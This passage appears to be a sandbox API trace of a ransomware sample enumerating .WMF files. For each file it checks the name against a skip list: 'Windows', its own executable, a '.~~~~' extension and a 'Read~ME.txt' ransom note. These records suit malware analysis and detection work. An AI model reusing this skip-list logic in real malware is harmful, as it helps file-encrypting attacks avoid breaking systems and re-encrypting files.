	[0083.383] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="Windows") returned -1
	[0083.383] lstrcmpW (lpString1="DD01163_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.383] StrStrW (lpFirst="DD01163_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.383] lstrcmpW (lpString1="DD01163_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.383] GetCurrentThreadId () returned 0x618
	[0083.383] RtlWakeConditionVariable () returned 0x365f48
	[0083.383] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1
	[0083.383] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="Windows") returned -1
	[0083.383] lstrcmpW (lpString1="DD01166_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.383] StrStrW (lpFirst="DD01166_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.384] lstrcmpW (lpString1="DD01166_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.384] GetCurrentThreadId () returned 0x618
	[0083.384] RtlWakeConditionVariable () returned 0x365f48
	[0083.384] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1
	[0083.384] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="Windows") returned -1
	[0083.384] lstrcmpW (lpString1="DD01167_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.384] StrStrW (lpFirst="DD01167_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.384] lstrcmpW (lpString1="DD01167_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.384] GetCurrentThreadId () returned 0x618
	[0083.384] RtlWakeConditionVariable () returned 0x365f48
	[0083.384] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1
	[0083.384] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="Windows") returned -1
	[0083.384] lstrcmpW (lpString1="DD01168_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.384] StrStrW (lpFirst="DD01168_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.384] lstrcmpW (lpString1="DD01168_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.384] GetCurrentThreadId () returned 0x618
	[0083.384] RtlWakeConditionVariable () returned 0x365f48
	[0083.384] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1
	[0083.384] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="Windows") returned -1
	[0083.384] lstrcmpW (lpString1="DD01169_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.385] StrStrW (lpFirst="DD01169_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.385] lstrcmpW (lpString1="DD01169_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.385] GetCurrentThreadId () returned 0x618
	[0083.385] RtlWakeConditionVariable () returned 0x365f48
	[0083.385] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1
	[0083.385] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="Windows") returned -1
	[0083.385] lstrcmpW (lpString1="DD01170_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.385] StrStrW (lpFirst="DD01170_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.385] lstrcmpW (lpString1="DD01170_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.385] GetCurrentThreadId () returned 0x618
	[0083.385] RtlWakeConditionVariable () returned 0x365f48
	[0083.385] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1
	[0083.385] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="Windows") returned -1
	[0083.385] lstrcmpW (lpString1="DD01171_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.385] StrStrW (lpFirst="DD01171_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.385] lstrcmpW (lpString1="DD01171_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.385] GetCurrentThreadId () returned 0x618
	[0083.385] RtlWakeConditionVariable () returned 0x365f48
	[0083.385] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1
	[0083.385] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="Windows") returned -1
	[0083.385] lstrcmpW (lpString1="DD01172_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.386] StrStrW (lpFirst="DD01172_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.386] lstrcmpW (lpString1="DD01172_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.386] GetCurrentThreadId () returned 0x618
	[0083.386] RtlWakeConditionVariable () returned 0x365f48
	[0083.386] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1
	[0083.386] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="Windows") returned -1
	[0083.386] lstrcmpW (lpString1="DD01173_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.386] StrStrW (lpFirst="DD01173_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.386] lstrcmpW (lpString1="DD01173_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.386] GetCurrentThreadId () returned 0x618
	[0083.386] RtlWakeConditionVariable () returned 0x365f48
	[0083.386] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1
	[0083.386] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="Windows") returned -1
	[0083.386] lstrcmpW (lpString1="DD01176_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.386] StrStrW (lpFirst="DD01176_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.386] lstrcmpW (lpString1="DD01176_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.386] GetCurrentThreadId () returned 0x618
	[0083.386] RtlWakeConditionVariable () returned 0x365f48
	[0083.386] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1
	[0083.386] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="Windows") returned -1
	[0083.386] lstrcmpW (lpString1="DD01178_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.387] StrStrW (lpFirst="DD01178_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.387] lstrcmpW (lpString1="DD01178_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.387] GetCurrentThreadId () returned 0x618
	[0083.387] RtlWakeConditionVariable () returned 0x365f48
	[0083.387] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1
	[0083.387] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="Windows") returned -1
	[0083.387] lstrcmpW (lpString1="DD01179_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.387] StrStrW (lpFirst="DD01179_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.387] lstrcmpW (lpString1="DD01179_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.387] GetCurrentThreadId () returned 0x618
	[0083.387] RtlWakeConditionVariable () returned 0x365f48
	[0083.387] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1
	[0083.387] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="Windows") returned -1
	[0083.387] lstrcmpW (lpString1="DD01180_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.387] StrStrW (lpFirst="DD01180_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.387] lstrcmpW (lpString1="DD01180_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.387] GetCurrentThreadId () returned 0x618
	[0083.387] RtlWakeConditionVariable () returned 0x365f48
	[0083.387] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1
	[0083.388] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="Windows") returned -1
	[0083.388] lstrcmpW (lpString1="DD01181_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.388] StrStrW (lpFirst="DD01181_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.388] lstrcmpW (lpString1="DD01181_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.388] GetCurrentThreadId () returned 0x618
	[0083.388] RtlWakeConditionVariable () returned 0x365f48
	[0083.388] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1
	[0083.388] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="Windows") returned -1
	[0083.388] lstrcmpW (lpString1="DD01182_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.388] StrStrW (lpFirst="DD01182_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.388] lstrcmpW (lpString1="DD01182_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.388] GetCurrentThreadId () returned 0x618
	[0083.388] RtlWakeConditionVariable () returned 0x365f48
	[0083.388] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1
	[0083.388] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="Windows") returned -1
	[0083.388] lstrcmpW (lpString1="DD01183_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.388] StrStrW (lpFirst="DD01183_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.388] lstrcmpW (lpString1="DD01183_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.388] GetCurrentThreadId () returned 0x618
	[0083.388] RtlWakeConditionVariable () returned 0x365f48
	[0083.389] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1
	[0083.389] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="Windows") returned -1
	[0083.389] lstrcmpW (lpString1="DD01186_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.389] StrStrW (lpFirst="DD01186_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.389] lstrcmpW (lpString1="DD01186_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.389] GetCurrentThreadId () returned 0x618
	[0083.389] RtlWakeConditionVariable () returned 0x365f48
	[0083.389] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1
	[0083.389] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="Windows") returned -1
	[0083.389] lstrcmpW (lpString1="DD01366_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.389] StrStrW (lpFirst="DD01366_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.389] lstrcmpW (lpString1="DD01366_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.389] GetCurrentThreadId () returned 0x618
	[0083.389] RtlWakeConditionVariable () returned 0x365f48
	[0083.389] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1
	[0083.389] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="Windows") returned -1
	[0083.389] lstrcmpW (lpString1="DD01434_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.389] StrStrW (lpFirst="DD01434_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.389] lstrcmpW (lpString1="DD01434_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.389] GetCurrentThreadId () returned 0x618
	[0083.389] RtlWakeConditionVariable () returned 0x365f48
	[0083.389] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1
	[0083.389] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="Windows") returned -1
	[0083.389] lstrcmpW (lpString1="DD01585_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.389] StrStrW (lpFirst="DD01585_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.390] lstrcmpW (lpString1="DD01585_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.390] GetCurrentThreadId () returned 0x618
	[0083.390] RtlWakeConditionVariable () returned 0x365f48
	[0083.390] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1
	[0083.390] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="Windows") returned -1
	[0083.390] lstrcmpW (lpString1="DD01586_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.390] StrStrW (lpFirst="DD01586_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.390] lstrcmpW (lpString1="DD01586_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.390] GetCurrentThreadId () returned 0x618
	[0083.390] RtlWakeConditionVariable () returned 0x365f48
	[0083.390] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1
	[0083.390] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="Windows") returned -1
	[0083.390] lstrcmpW (lpString1="DD01628_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.390] StrStrW (lpFirst="DD01628_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.390] lstrcmpW (lpString1="DD01628_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.390] GetCurrentThreadId () returned 0x618
	[0083.390] RtlWakeConditionVariable () returned 0x365f48
	[0083.390] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1
	[0083.505] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="Windows") returned -1
	[0083.505] lstrcmpW (lpString1="DD01629_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.505] StrStrW (lpFirst="DD01629_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.505] lstrcmpW (lpString1="DD01629_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.505] GetCurrentThreadId () returned 0x618
	[0083.505] RtlWakeConditionVariable () returned 0x365f48
	[0083.505] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1
	[0083.554] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="Windows") returned -1
	[0083.554] lstrcmpW (lpString1="DD01630_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.554] StrStrW (lpFirst="DD01630_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.554] lstrcmpW (lpString1="DD01630_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.554] GetCurrentThreadId () returned 0x618
	[0083.554] RtlWakeConditionVariable () returned 0x365f48
	[0083.554] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1
	[0083.554] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="Windows") returned -1
	[0083.554] lstrcmpW (lpString1="DD01631_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.555] StrStrW (lpFirst="DD01631_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.555] lstrcmpW (lpString1="DD01631_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
